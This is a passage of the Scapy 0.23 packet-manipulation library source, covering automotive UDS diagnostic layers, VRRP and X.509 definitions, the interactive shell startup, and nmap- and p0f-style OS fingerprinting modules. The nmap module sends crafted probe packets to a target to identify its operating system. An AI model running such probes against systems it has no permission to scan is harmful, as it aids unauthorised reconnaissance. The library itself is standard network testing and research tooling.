'reportDTCFaultDetectionCounter', 21: 'reportDTCWithPermanentStatus' } name = 'RDTCI' fields_desc = [ ByteEnumField('reportType', 0, reportTypes), ConditionalField(XByteField('DTCStatusMask', 0), lambda pkt: pkt.reportType in [0x01, 0x02, 0x0f, 0x11, 0x12, 0x13]), ConditionalField(ByteField('DTCHighByte', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCMiddleByte', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCLowByte', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCSnapshotRecordNumber', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x5]), ConditionalField(ByteField('DTCExtendedDataRecordNumber', 0), lambda pkt: pkt.reportType in [0x6, 0x10]), ConditionalField(ByteField('DTCSeverityMask', 0), lambda pkt: pkt.reportType in [0x07, 0x08]), ConditionalField(ByteField('DTCStatusMask', 0), lambda pkt: pkt.reportType in [0x07, 0x08]), ] bind_layers(ISO14229, ISO14229_RDTCI, service=0x19) class ISO14229_RDTCIPR(Packet): name = 'RDTCIPR' fields_desc = [ ByteEnumField('reportType', 0, ISO14229_RDTCI.reportTypes), ConditionalField(XByteField('DTCStatusAvailabilityMask', 0), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12, 0x02, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]), ConditionalField(ByteEnumField('DTCFormatIdentifier', 0, {0: 'ISO15031-6DTCFormat', 1: 'ISO14229-1DTCFormat', 2: 'SAEJ1939-73DTCFormat', 3: 'ISO11992-4DTCFormat'}), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12]), ConditionalField(ShortField('DTCCount', 0), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12]), ConditionalField(StrField('DTCAndStatusRecord', 0), lambda pkt: pkt.reportType in [0x02, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]), ConditionalField(StrField('dataRecord', 0), lambda pkt: pkt.reportType in [0x03, 0x4, 0x5, 0x6, 0x8, 0x9, 0x10, 0x14]) ] bind_layers(ISO14229, ISO14229_RDTCIPR, service=0x59) #########################RC################################### class ISO14229_RC(Packet): routineControlTypes = { 0: 'ISOSAEReserved', 1: 'startRoutine', 2: 'stopRoutine', 3: 'requestRoutineResults' } name = 'RC' fields_desc = [ ByteEnumField('routineControlType', 0, routineControlTypes), XShortField('routineIdentifier', 0), StrField('routineControlOptionRecord', 0, fmt="B"), ] bind_layers(ISO14229, ISO14229_RC, service=0x31) class ISO14229_RCPR(Packet): name = 'RCPR' fields_desc = [ ByteEnumField('routineControlType', 0, ISO14229_RC.routineControlTypes), XShortField('routineIdentifier', 0), StrField('routineStatusRecord', 0, fmt="B"), ] bind_layers(ISO14229, ISO14229_RCPR, service=0x71) #########################RD################################### class ISO14229_RD(Packet): dataFormatIdentifiers = { 0: 'noCompressionNoEncryption' } name = 'RD' fields_desc = [ ByteEnumField('dataFormatIdentifier', 0, dataFormatIdentifiers), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] bind_layers(ISO14229, ISO14229_RD, service=0x34) class ISO14229_RDPR(Packet): name = 'RDPR' fields_desc = [ ByteEnumField('routineControlType', 0, ISO14229_RC.routineControlTypes), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), StrField('maxNumberOfBlockLength', 0, fmt="B"), ] bind_layers(ISO14229, ISO14229_RDPR, service=0x74) #########################RU################################### class ISO14229_RU(Packet): name = 'RU' fields_desc = [ ByteEnumField('dataFormatIdentifier', 0, ISO14229_RD.dataFormatIdentifiers), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] bind_layers(ISO14229, ISO14229_RU, service=0x35) class ISO14229_RUPR(Packet): name = 'RUPR' fields_desc = [ ByteEnumField('routineControlType', 0, ISO14229_RC.routineControlTypes), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), StrField('maxNumberOfBlockLength', 0, fmt="B"), ] bind_layers(ISO14229, ISO14229_RUPR, service=0x75) #########################TD################################### class ISO14229_TD(Packet): name = 'TD' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferRequestParameterRecord', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_TD, service=0x36) class ISO14229_TDPR(Packet): name = 'TDPR' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferResponseParameterRecord', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_TDPR, service=0x76) #########################RTE################################### class ISO14229_RTE(Packet): name = 'RTE' fields_desc = [ StrField('transferRequestParameterRecord', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_RTE, service=0x37) class ISO14229_RTEPR(Packet): name = 'RTEPR' fields_desc = [ StrField('transferResponseParameterRecord', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_RTEPR, service=0x77) #########################NRC################################### class ISO14229_NRC(Packet): negativeResponseCodes = { 0x00: 'positiveResponse', 0x10: 'generalReject', 0x11: 'serviceNotSupported', 0x12: 'subFunctionNotSupported', 0x13: 'incorrectMessageLengthOrInvalidFormat', 0x14: 'responseTooLong', 0x20: 'ISOSAEReserved', 0x21: 'busyRepeatRequest', 0x22: 'conditionsNotCorrect', 0x23: 'ISOSAEReserved', 0x24: 'requestSequenceError', 0x25: 'noResponseFromSubnetComponent', 0x26: 'failurePreventsExecutionOfRequestedAction', 0x31: 'requestOutOfRange', 0x33: 'securityAccessDenied', 0x35: 'invalidKey', 0x36: 'exceedNumberOfAttempts', 0x37: 'requiredTimeDelayNotExpired', 0x70: 'uploadDownloadNotAccepted', 0x71: 'transferDataSuspended', 0x72: 'generalProgrammingFailure', 0x73: 'wrongBlockSequenceCounter', 0x78: 'requestCorrectlyReceived-ResponsePending', 0x7E: 'subFunctionNotSupportedInActiveSession', 0x7F: 'serviceNotSupportedInActiveSession', 0x80: 'ISOSAEReserved', 0x81: 'rpmTooHigh', 0x82: 'rpmTooLow', 0x83: 'engineIsRunning', 0x84: 'engineIsNotRunning', 0x85: 'engineRunTimeTooLow', 0x86: 'temperatureTooHigh', 0x87: 'temperatureTooLow', 0x88: 'vehicleSpeedTooHigh', 0x89: 'vehicleSpeedTooLow', 0x8a: 'throttle/PedalTooHigh', 0x8b: 'throttle/PedalTooLow', 0x8c: 'transmissionRangeNotInNeutral', 0x8d: 'transmissionRangeNotInGear', 0x8e: 'ISOSAEReserved', 0x8f: 'brakeSwitch(es)NotClosed', 0x90: 'shifterLeverNotInPark', 0x91: 'torqueConverterClutchLocked', 0x92: 'voltageTooHigh', 0x93: 'voltageTooLow', } name = 'NRC' fields_desc = [ XByteUpdateableEnumField('requestServiceId', 0, ISO14229.services), ByteEnumField('negativeResponseCode', 0, negativeResponseCodes) ] bind_layers(ISO14229, ISO14229_NRC, service=0x7f) scapy-0.23/scapy/layers/vrrp.py000066400000000000000000000023071320561231000165310ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) 6WIND ## This program is published under a GPLv2 license """ VRRP (Virtual Router Redundancy Protocol). """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP IPPROTO_VRRP=112 # RFC 3768 - Virtual Router Redundancy Protocol (VRRP) class VRRP(Packet): fields_desc = [ BitField("version" , 2, 4), BitField("type" , 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), ByteField("authtype", 0), ByteField("adv", 1), XShortField("chksum", None), FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.ipcount), IntField("auth1", 0), IntField("auth2", 0) ] def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:6]+bytes([(ck>>8),(ck&0xff)])+p[8:] return p bind_layers( IP, VRRP, proto=IPPROTO_VRRP) scapy-0.23/scapy/layers/x509.py000066400000000000000000000060241320561231000162450ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ X.509 certificates. """ from scapy.asn1packet import * from scapy.asn1fields import * ########## ## X509 ## ########## ######[ ASN1 class ]###### class ASN1_Class_X509(ASN1_Class_UNIVERSAL): name="X509" CONT0 = 0xa0 CONT1 = 0xa1 CONT2 = 0xa2 CONT3 = 0xa3 class ASN1_X509_CONT0(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT0 class ASN1_X509_CONT1(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT1 class ASN1_X509_CONT2(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT2 class ASN1_X509_CONT3(ASN1_SEQUENCE): tag = ASN1_Class_X509.CONT3 ######[ BER codecs ]####### class BERcodec_X509_CONT0(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT0 class BERcodec_X509_CONT1(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT1 class BERcodec_X509_CONT2(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT2 class BERcodec_X509_CONT3(BERcodec_SEQUENCE): tag = ASN1_Class_X509.CONT3 ######[ ASN1 fields ]###### class ASN1F_X509_CONT0(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT0 class ASN1F_X509_CONT1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT1 class ASN1F_X509_CONT2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT2 class ASN1F_X509_CONT3(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_X509.CONT3 ######[ X509 packets ]###### class X509RDN(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET( ASN1F_SEQUENCE( ASN1F_OID("oid","2.5.4.6"), ASN1F_PRINTABLE_STRING("value","") ) ) class X509v3Ext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_field("val",ASN1_NULL(0)) class X509Cert(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_optionnal(ASN1F_X509_CONT0(ASN1F_INTEGER("version",3))), ASN1F_INTEGER("sn",1), ASN1F_SEQUENCE(ASN1F_OID("sign_algo","1.2.840.113549.1.1.5"), ASN1F_field("sa_value",ASN1_NULL(0))), ASN1F_SEQUENCE_OF("issuer",[],X509RDN), ASN1F_SEQUENCE(ASN1F_UTC_TIME("not_before",ZuluTime(-600)), # ten minutes ago ASN1F_UTC_TIME("not_after",ZuluTime(+86400))), # for 24h ASN1F_SEQUENCE_OF("subject",[],X509RDN), ASN1F_SEQUENCE( ASN1F_SEQUENCE(ASN1F_OID("pubkey_algo","1.2.840.113549.1.1.1"), ASN1F_field("pk_value",ASN1_NULL(0))), ASN1F_BIT_STRING("pubkey","") ), ASN1F_optionnal(ASN1F_X509_CONT3(ASN1F_SEQUENCE_OF("x509v3ext",[],X509v3Ext))), ), ASN1F_SEQUENCE(ASN1F_OID("sign_algo2","1.2.840.113549.1.1.5"), ASN1F_field("sa2_value",ASN1_NULL(0))), ASN1F_BIT_STRING("signature","") ) scapy-0.23/scapy/main.py000066400000000000000000000262351320561231000151730ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Main module for interactive startup. """ import os,sys,socket import glob import builtins import types import gzip from .error import * from . import utils def _probe_config_file(cf): cf_path = os.path.join(os.path.expanduser("~"), cf) try: os.stat(cf_path) except OSError: return None else: return cf_path def _read_config_file(cf): log_loading.debug("Loading config file [%s]" % cf) try: exec(open(cf).read()) except IOError as e: log_loading.warning("Cannot read config file [%s] [%s]" % (cf,e)) except Exception as e: log_loading.exception("Error during evaluation of config file [%s]" % cf) DEFAULT_PRESTART_FILE = _probe_config_file(".scapy_prestart.py") DEFAULT_STARTUP_FILE = _probe_config_file(".scapy_startup.py") def _usage(): print("""Usage: scapy.py [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] -C: do not read startup file -P: do not read pre-startup file""") sys.exit(0) from .config import conf from .themes import DefaultTheme ###################### ## Extension system ## ###################### def _load(module): try: mod = __import__(module,globals(),locals(),".") builtins.__dict__.update(mod.__dict__) except Exception as e: log_interactive.error(e) def load_module(name): _load("scapy.modules."+name) def load_layer(name): _load("scapy.layers."+name) def load_contrib(name): _load("scapy.contrib."+name) def list_contrib(name=None): if name is None: name="*.py" elif "*" not in name and "?" not in name and not name.endswith(".py"): name += ".py" name = os.path.join(os.path.dirname(__file__), "contrib", name) for f in glob.glob(name): mod = os.path.basename(f) if mod.startswith("__"): continue if mod.endswith(".py"): mod = mod[:-3] desc = { "description":"-", "status":"?", "name":mod } for l in open(f): p = l.find("scapy.contrib.") if p >= 0: p += 14 q = l.find("=", p) key = l[p:q].strip() value = l[q+1:].strip() desc[key] = value print("%(name)-20s: %(description)-40s status=%(status)s" % desc) ############################## ## Session saving/restoring ## ############################## def save_session(fname=None, session=None, pickleProto=4): import dill as pickle if fname is None: fname = conf.session if not fname: conf.session = fname = utils.get_temp_file(keep=True) log_interactive.info("Use [%s] as session file" % fname) if session is None: session = builtins.__dict__["scapy_session"] to_be_saved = session.copy() for k in list(to_be_saved.keys()): if k in ["__builtins__", "In", "Out", "conf"] or k.startswith("_") or \ (hasattr(to_be_saved[k], "__module__") and str(to_be_saved[k].__module__).startswith('IPython')): del(to_be_saved[k]) continue if type(to_be_saved[k]) in [type, types.ModuleType, types.MethodType]: log_interactive.info("[%s] (%s) can't be saved." % (k, type(to_be_saved[k]))) del(to_be_saved[k]) try: os.rename(fname, fname+".bak") except OSError: pass f=gzip.open(fname,"wb") for i in to_be_saved.keys(): #d = {i: to_be_saved[i]} #pickle.dump(d, f, pickleProto) pickle.dump(to_be_saved, f, pickleProto) f.close() def load_session(fname=None): if conf.interactive_shell.lower() == "ipython": log_interactive.error("There are issues with load_session in ipython. Use python for interactive shell, or use -s parameter to load session") return import dill as pickle if fname is None: fname = conf.session try: s = pickle.load(gzip.open(fname,"rb")) except IOError: s = pickle.load(open(fname,"rb")) scapy_session = builtins.__dict__["scapy_session"] scapy_session.clear() scapy_session.update(s) def update_session(fname=None): import dill as pickle if fname is None: fname = conf.session try: s = pickle.load(gzip.open(fname,"rb")) except IOError: s = pickle.load(open(fname,"rb")) scapy_session = builtins.__dict__["scapy_session"] scapy_session.update(s) ################ ##### Main ##### ################ def scapy_delete_temp_files(): for f in conf.temp_files: try: os.unlink(f) except: pass def scapy_write_history_file(readline): if conf.histfile: try: readline.write_history_file(conf.histfile) except IOError as e: try: warning("Could not write history to [%s]\n\t (%s)" % (conf.histfile,e)) tmp = utils.get_temp_file(keep=True) readline.write_history_file(tmp) warning("Wrote history to [%s]" % tmp) except: warning("Cound not write history to [%s]. Discarded" % tmp) def interact(mydict=None,argv=None,mybanner=None,loglevel=20): global session import code,sys,pickle,os,getopt,re from .config import conf conf.interactive = True if loglevel is not None: conf.logLevel=loglevel the_banner = "Welcome to Scapy (%s)" if mybanner is not None: the_banner += "\n" the_banner += mybanner if argv is None: argv = sys.argv import atexit try: import rlcompleter,readline except ImportError: log_loading.info("Can't load Python libreadline or completer") READLINE=0 else: READLINE=1 class ScapyCompleter(rlcompleter.Completer): def global_matches(self, text): matches = [] n = len(text) for lst in [dir(builtins), session.keys()]: for word in lst: if word[:n] == text and word != "__builtins__": matches.append(word) return matches def attr_matches(self, text): m = re.match(r"(\w+(\.\w+)*)\.(\w*)", text) if not m: return expr, attr = m.group(1, 3) try: object = eval(expr) except: object = eval(expr, session) if isinstance(object, Packet) or isinstance(object, Packet_metaclass): #words = filter(lambda x: x[0]!="_",dir(object)) words = [ x for x in dir(object) if x[0]!="_" ] words += [x.name for x in object.fields_desc] else: words = dir(object) if hasattr( object,"__class__" ): words = words + rlcompleter.get_class_members(object.__class__) matches = [] n = len(attr) for word in words: if word[:n] == attr and word != "__builtins__": matches.append("%s.%s" % (expr, word)) return matches readline.set_completer(ScapyCompleter().complete) readline.parse_and_bind("C-o: operate-and-get-next") readline.parse_and_bind("tab: complete") session=None session_name="" STARTUP_FILE = DEFAULT_STARTUP_FILE PRESTART_FILE = DEFAULT_PRESTART_FILE iface = None try: opts=getopt.getopt(argv[1:], "hs:Cc:Pp:d") for opt, parm in opts[0]: if opt == "-h": _usage() elif opt == "-s": session_name = parm elif opt == "-c": STARTUP_FILE = parm elif opt == "-C": STARTUP_FILE = None elif opt == "-p": PRESTART_FILE = parm elif opt == "-P": PRESTART_FILE = None elif opt == "-d": conf.logLevel = max(1,conf.logLevel-10) if len(opts[1]) > 0: raise getopt.GetoptError("Too many parameters : [%s]" % " ".join(opts[1])) except getopt.GetoptError as msg: log_loading.error(msg) sys.exit(1) if PRESTART_FILE: _read_config_file(PRESTART_FILE) scapy_builtins = __import__("scapy.all",globals(),locals(),".").__dict__ builtins.__dict__.update(scapy_builtins) globkeys = list(scapy_builtins.keys()) globkeys.append("scapy_session") scapy_builtins=None # XXX replace with "with" statement if mydict is not None: builtins.__dict__.update(mydict) globkeys += mydict.keys() conf.color_theme = DefaultTheme() if STARTUP_FILE: _read_config_file(STARTUP_FILE) if session_name: try: os.stat(session_name) except OSError: log_loading.info("New session [%s]" % session_name) else: try: try: session = pickle.load(gzip.open(session_name,"rb")) except IOError: session = pickle.load(open(session_name,"rb")) log_loading.info("Using session [%s]" % session_name) except EOFError: log_loading.error("Error opening session [%s]" % session_name) except AttributeError: log_loading.error("Error opening session [%s]. Attribute missing" % session_name) if session: if "conf" in session: conf.configure(session["conf"]) session["conf"] = conf else: conf.session = session_name session={"conf":conf} else: session={"conf": conf} builtins.__dict__["scapy_session"] = session if READLINE: if conf.histfile: try: readline.read_history_file(conf.histfile) except IOError: pass atexit.register(scapy_write_history_file,readline) atexit.register(scapy_delete_temp_files) IPYTHON=False if conf.interactive_shell.lower() == "ipython": try: import IPython IPYTHON=True except ImportError as e: log_loading.warning("IPython not available. Using standard Python shell instead.") IPYTHON=False if IPYTHON: banner = the_banner % (conf.version) + " using IPython %s" % IPython.__version__ if conf.ipython_embedded: IPython.embed(user_ns=session, banner2=banner) else: IPython.start_ipython(argv=[], user_ns=session) else: code.interact(banner = the_banner % (conf.version), local=session, readfunc=conf.readfunc) if conf.session: save_session(conf.session, session) for k in globkeys: try: del(builtins.__dict__[k]) except: pass if __name__ == "__main__": interact() scapy-0.23/scapy/modules/000077500000000000000000000000001320561231000153355ustar00rootroot00000000000000scapy-0.23/scapy/modules/__init__.py000066400000000000000000000004171320561231000174500ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package of extension modules that have to be loaded explicitly. """ scapy-0.23/scapy/modules/geoip.py000066400000000000000000000036011320561231000170120ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ GeoIP: find out the geographical location of IP addresses """ from scapy.data import KnowledgeBase from scapy.config import conf conf.IPCountry_base = "GeoIPCountry4Scapy.gz" conf.countryLoc_base = "countryLoc.csv" ########################## ## IP location database ## ########################## class IPCountryKnowledgeBase(KnowledgeBase): """ How to generate the base : db = [] for l in open("GeoIPCountryWhois.csv").readlines(): s,e,c = l.split(",")[2:5] db.append((int(s[1:-1]),int(e[1:-1]),c[1:-1])) cPickle.dump(gzip.open("xxx","w"),db) """ def lazy_init(self): self.base = load_object(self.filename) class CountryLocKnowledgeBase(KnowledgeBase): def lazy_init(self): f=open(self.filename) self.base = {} while 1: l = f.readline() if not l: break l = l.strip().split(",") if len(l) != 3: continue c,lat,long = l self.base[c] = (float(long),float(lat)) f.close() @conf.commands.register def locate_ip(ip): """Get geographic coordinates from IP using geoip database""" ip=map(int,ip.split(".")) ip = ip[3]+(ip[2]<<8)+(ip[1]<<16)+(ip[0]<<24) cloc = country_loc_kdb.get_base() db = IP_country_kdb.get_base() d=0 f=len(db)-1 while (f-d) > 1: guess = (d+f)/2 if ip > db[guess][0]: d = guess else: f = guess s,e,c = db[guess] if s <= ip and ip <= e: return cloc.get(c,None) conf.IP_country_kdb = IPCountryKnowledgeBase(conf.IPCountry_base) conf.country_loc_kdb = CountryLocKnowledgeBase(conf.countryLoc_base) scapy-0.23/scapy/modules/nmap.py000066400000000000000000000147111320561231000166460ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of Nmap's first generation OS fingerprinting. """ import os from scapy.data import KnowledgeBase from scapy.config import conf from scapy.arch import WINDOWS if WINDOWS: conf.nmap_base=os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints" else: conf.nmap_base ="/usr/share/nmap/nmap-os-fingerprints" ###################### ## nmap OS fp stuff ## ###################### class NmapKnowledgeBase(KnowledgeBase): def lazy_init(self): try: f=open(self.filename) except IOError: return self.base = [] name = None try: for l in f: l = l.strip() if not l or l[0] == "#": continue if l[:12] == "Fingerprint ": if name is not None: self.base.append((name,sig)) name = l[12:].strip() sig={} p = self.base continue elif l[:6] == "Class ": continue op = l.find("(") cl = l.find(")") if op < 0 or cl < 0: warning("error reading nmap os fp base file") continue test = l[:op] s = map(lambda x: x.split("="), l[op+1:cl].split("%")) si = {} for n,v in s: si[n] = v sig[test]=si if name is not None: self.base.append((name,sig)) except: self.base = None warning("Can't read nmap database [%s](new nmap version ?)" % self.filename) f.close() nmap_kdb = NmapKnowledgeBase(conf.nmap_base) def TCPflags2str(f): fl="FSRPAUEC" s="" for i in range(len(fl)): if f & 1: s = fl[i]+s f >>= 1 return s def nmap_tcppacket_sig(pkt): r = {} if pkt is not None: # r["Resp"] = "Y" r["DF"] = (pkt.flags & 2) and "Y" or "N" r["W"] = "%X" % pkt.window r["ACK"] = pkt.ack==2 and "S++" or pkt.ack==1 and "S" or "O" r["Flags"] = TCPflags2str(pkt.payload.flags) r["Ops"] = "".join(map(lambda x: x[0][0],pkt.payload.options)) else: r["Resp"] = "N" return r def nmap_udppacket_sig(S,T): r={} if T is None: r["Resp"] = "N" else: r["DF"] = (T.flags & 2) and "Y" or "N" r["TOS"] = "%X" % T.tos r["IPLEN"] = "%X" % T.len r["RIPTL"] = "%X" % T.payload.payload.len r["RID"] = S.id == T.payload.payload.id and "E" or "F" r["RIPCK"] = S.chksum == T.getlayer(IPerror).chksum and "E" or T.getlayer(IPerror).chksum == 0 and "0" or "F" r["UCK"] = S.payload.chksum == T.getlayer(UDPerror).chksum and "E" or T.getlayer(UDPerror).chksum ==0 and "0" or "F" r["ULEN"] = "%X" % T.getlayer(UDPerror).len r["DAT"] = T.getlayer(conf.raw_layer) is None and "E" or S.getlayer(conf.raw_layer).load == T.getlayer(conf.raw_layer).load and "E" or "F" return r def nmap_match_one_sig(seen, ref): c = 0 for k in seen.keys(): if k in ref: if seen[k] in ref[k].split("|"): c += 1 if c == 0 and seen.get("Resp") == "N": return 0.7 else: return 1.0*c/len(seen.keys()) def nmap_sig(target, oport=80, cport=81, ucport=1): res = {} tcpopt = [ ("WScale", 10), ("NOP",None), ("MSS", 256), ("Timestamp",(123,0)) ] tests = [ IP(dst=target, id=1)/TCP(seq=1, sport=5001, dport=oport, options=tcpopt, flags="CS"), IP(dst=target, id=1)/TCP(seq=1, sport=5002, dport=oport, options=tcpopt, flags=0), IP(dst=target, id=1)/TCP(seq=1, sport=5003, dport=oport, options=tcpopt, flags="SFUP"), IP(dst=target, id=1)/TCP(seq=1, sport=5004, dport=oport, options=tcpopt, flags="A"), IP(dst=target, id=1)/TCP(seq=1, sport=5005, dport=cport, options=tcpopt, flags="S"), IP(dst=target, id=1)/TCP(seq=1, sport=5006, dport=cport, options=tcpopt, flags="A"), IP(dst=target, id=1)/TCP(seq=1, sport=5007, dport=cport, options=tcpopt, flags="FPU"), IP(str(IP(dst=target)/UDP(sport=5008,dport=ucport)/(300*"i"))) ] ans, unans = sr(tests, timeout=2) ans += map(lambda x: (x,None), unans) for S,T in ans: if S.sport == 5008: res["PU"] = nmap_udppacket_sig(S,T) else: t = "T%i" % (S.sport-5000) if T is not None and T.haslayer(ICMP): warning("Test %s answered by an ICMP" % t) T=None res[t] = nmap_tcppacket_sig(T) return res def nmap_probes2sig(tests): tests=tests.copy() res = {} if "PU" in tests: res["PU"] = nmap_udppacket_sig(*tests["PU"]) del(tests["PU"]) for k in tests: res[k] = nmap_tcppacket_sig(tests[k]) return res def nmap_search(sigs): guess = 0,[] for os,fp in nmap_kdb.get_base(): c = 0.0 for t in sigs.keys(): if t in fp: c += nmap_match_one_sig(sigs[t], fp[t]) c /= len(sigs.keys()) if c > guess[0]: guess = c,[ os ] elif c == guess[0]: guess[1].append(os) return guess @conf.commands.register def nmap_fp(target, oport=80, cport=81): """nmap fingerprinting nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy """ sigs = nmap_sig(target, oport, cport) return nmap_search(sigs) @conf.commands.register def nmap_sig2txt(sig): torder = ["TSeq","T1","T2","T3","T4","T5","T6","T7","PU"] korder = ["Class", "gcd", "SI", "IPID", "TS", "Resp", "DF", "W", "ACK", "Flags", "Ops", "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT" ] txt=[] for i in sig.keys(): if i not in torder: torder.append(i) for t in torder: sl = sig.get(t) if sl is None: continue s = [] for k in korder: v = sl.get(k) if v is None: continue s.append("%s=%s"%(k,v)) txt.append("%s(%s)" % (t, "%".join(s))) return "\n".join(txt) scapy-0.23/scapy/modules/p0f.py000066400000000000000000000443571320561231000164110ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Clone of p0f passive OS fingerprinting """ from scapy.data import KnowledgeBase from scapy.config import conf from scapy.error import warning from scapy.layers.inet import IP, TCP, TCPOptions from scapy.packet import NoPayload conf.p0f_base ="/etc/p0f/p0f.fp" conf.p0fa_base ="/etc/p0f/p0fa.fp" conf.p0fr_base ="/etc/p0f/p0fr.fp" #conf.p0fo_base ="/etc/p0f/p0fo.fp" ############### ## p0f stuff ## ############### # File format (according to p0f.fp) : # # wwww:ttt:D:ss:OOO...:QQ:OS:Details # # wwww - window size # ttt - initial TTL # D - don't fragment bit (0=unset, 1=set) # ss - overall SYN packet size # OOO - option value and order specification # QQ - quirks list # OS - OS genre # details - OS description class p0fKnowledgeBase(KnowledgeBase): def __init__(self, filename): KnowledgeBase.__init__(self, filename) #self.ttl_range=[255] def lazy_init(self): try: f=open(self.filename) except IOError: warning("Can't open base %s" % self.filename) return try: self.base = [] for l in f: if l[0] in ["#","\n"]: continue l = tuple(l.split(":")) if len(l) < 8: continue def a2i(x): if x.isdigit(): return int(x) return x li = [ a2i(i) for i in l[1:4] ] #if li[0] not in self.ttl_range: # self.ttl_range.append(li[0]) # self.ttl_range.sort() self.base.append((l[0], li[0], li[1], li[2], l[4], l[5], l[6], l[7][:-1])) except: warning("Can't parse p0f database (new p0f version ?)") self.base = None f.close() p0f_kdb = p0fKnowledgeBase(conf.p0f_base) p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base) p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base) #p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base) def p0f_selectdb(flags): # tested flags: S, R, A if flags & 0x16 == 0x2: # SYN return p0f_kdb elif flags & 0x16 == 0x12: # SYN/ACK return p0fa_kdb elif flags & 0x16 in [ 0x4, 0x14 ]: # RST RST/ACK return p0fr_kdb # elif flags & 0x16 == 0x10: # ACK # return p0fo_kdb else: return None def packet2p0f(pkt): pkt = pkt.copy() pkt = pkt.__class__(bytes(pkt)) while pkt.haslayer(IP) and pkt.haslayer(TCP): pkt = pkt.getlayer(IP) if isinstance(pkt.payload, TCP): break pkt = pkt.payload if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): raise TypeError("Not 